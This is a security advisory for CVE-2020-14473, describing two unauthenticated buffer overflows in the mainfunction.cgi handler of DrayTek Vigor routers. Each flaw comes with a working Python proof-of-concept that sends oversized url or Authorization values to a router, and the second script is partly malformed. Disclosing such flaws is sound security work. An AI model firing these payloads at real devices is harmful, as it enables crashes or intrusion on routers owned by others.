CVE-2020-14473 BOF

- Products: DrayTek Vigor2960/3900/300B
- Firmware: < version 1.5.1.1

This CVE contains 2 buffer-overflow without authorization.

An unauthorized buffer overflow(about url) @ mainfunction.cgi

We found an unauthorized bof @ mainfunction.cgi, the vulnerability locates at mainfunction.cgi's handler "web_portal_bypass_ok" and "authuser" (you can visit this handler by "action=web_portal_bypass_ok"/"action=authuser").

While handling `url` , some special characters will be escaped and their length will be expanded from 1 to 3 or more. However, mainfunction.cgi ignores the change of length and put `url` into a buffer with length == len(raw(url)) but not len(escape(url)), which leads to a buffer overflow.

Here is the PoC:

```
# PoC Author: C0ss4ck,Swings,MozhuCY
import requests
from urllib.parse import quote
import base64

def poc(url):
    headers = {
        "UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0"
    }

    url = url + "/cgi-bin/mainfunction.cgi"
    data = {
        "action": "web_portal_bypass_ok",
        "url":"http://"+"\x40"*0xFFF+"/",
        "is_android":"ture"
    }
    res = requests.post(url=url, verify = False, data=data, timeout=(10, 15), headers=headers)

    if res.status_code != 200:
        print(res.text)
    else:
        print(res.text)
        return ""

poc("http://192.168.1.1")
```

An unauthorized buffer overflow(about auth) @ mainfunction.cgi

We found an unauthorized bof @ mainfunction.cgi while accessing `cgi-bin/mainfunction.cgi/login` . The vulnerability will be triggered by a crafted K-V pair of `HTTP_Authorization` in HTTP Header such as `base64("A"*0x80+":"+"B"*0x80)` whose `username` 's length is bigger than 0x40.

While handling `HTTP_Authorization` , mainfunction.cgi decodes its value with base64 with a buffer whose size is 0x400, and after extracting `username` from the buffer, another buffer whose size is 0x40 will be filled with `username` , consequently, if username's length is bigger than 0x40, it will lead to a stack-based buffer overflow.

```
# PoC Author: C0ss4ck,Swings,MozhuCY
from sys import argv
from base64 import b64encode
import requests

buf =
b64encode(b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

header = {
    "Content-Type": "application/raw"
    "Authorization": "Basic "+buf
}
url = {
    "root": "http://192.168.1.1",
    "cgi": {
        "root": "/cgi-bin",
```

```
        "uri": {
            "mf": "/mainfunction.cgi",
        }
    }
}

def build_url(p1, p2=None):
    if p2:
        return url["root"] + url[p1]["root"] + url[p1]["uri"][p2]
    else:
        return url["root"] + url[p1]

session = requests.session()
session.post(build_url("cgi", "mf")+"/login", headers=header)
```

- C0ss4ck @ NJUPT (email: c0ss4ck9989@gmail.com)
- Swings @ Chaitin (email: weiming.shi@chaitin.com)
- MozhuCY @ NJUPT (email: mozhucy@gmail.com)